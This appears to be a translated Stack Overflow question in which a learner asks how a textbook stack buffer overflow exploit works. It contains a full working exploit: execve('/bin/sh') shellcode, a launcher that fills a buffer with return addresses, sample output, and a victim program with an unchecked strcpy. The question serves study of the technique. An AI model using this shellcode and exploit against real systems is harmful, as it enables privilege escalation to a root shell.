【发布时间】:2018-06-14 16:35:21
【问题描述】:
最近我在阅读 shellcoders 手册,遇到的这个例子让我有点困惑。我能够部分解码它的含义,但不能完全解码。我在我理解它的含义的地方添加了 cmets,并且还在我不理解作者试图完成的内容的地方添加了 cmets。有人可以告诉我这个第一个 c 程序是如何工作的吗?
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long find_start(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset; //esp-offset. Esp acquired from inline assembly
printf("Attempting address: 0x%x\n", addr);
ptr = buff; // ???? buff is a random memory address within the progam. Why make ptr equal to buff?
addr_ptr = (long *) ptr; //typecasting to long pointer and assigning it to the random memory address, but why?
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr; // Fill bsize worth of stack memory with address, possibly to overwrite EIP on return from main
ptr += 4; // why add ptr by 4? I mean I know each stack space is worth 4 units but considering ptr is a random memory address why add it by 4?
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i]; // place shellcode at ptr's address
buff[bsize - 1] = '\0'; // no clue why this is used? Probably terminating shellcode? Or for marking end of buffer using \0
memcpy(buff,"BUF=",4); // copy memory 4 units equivalent of BUF=
putenv(buff); // linux environment variable stuff. Not really sure.
system("/bin/bash"); // no idea what this does.
}
前面的文字还提到它是为了获得对 Linux 中 shell 的 root 访问权限。如果一个进程以 root 权限运行,它可以工作,这是否意味着缓冲区溢出到另一个进程的指令?这不应该是可能的,但我只是想确认一下。如果不是,它如何获得 shell 或 root shell 的 root 权限?
[jack@0day local]$ ./attack 500
Attempting address: 0xbfffd768
[jack@0day local]$ ./victim $BUF
这是它在命令行上的显示方式,作者以 root 权限启动了victim.c。
victim.c源码如下:
int main(int argc,char *argv[]) {
char little_array[512];
if (argc > 1)
strcpy(little_array,argv[1]); }
【问题讨论】:
-
这恰好是一个程序,通过试错法检查程序开始与shellcode地址之间的偏移量。
-
这是答案,还是描述并且您正在寻找详细信息?另外,这本书有多少年了?
-
请努力使用 ASCII 表将十六进制表示转换为字符序列。
-
我想了解第一个程序是如何工作的。我不需要像有人在答案中发布的那样理解 shellcode。如果你想知道 shellcode 的作用,那就是在 linux 中打开一个 shell。这本书是 2004 年的。我无法拿到新版本。也想知道BUF在命令行中是什么意思。如果第一个程序中的 BUF 和 BUF 是相关的,又是如何相关的?
-
Josh,你能解释一下第一个程序是做什么的吗?那真的很有帮助!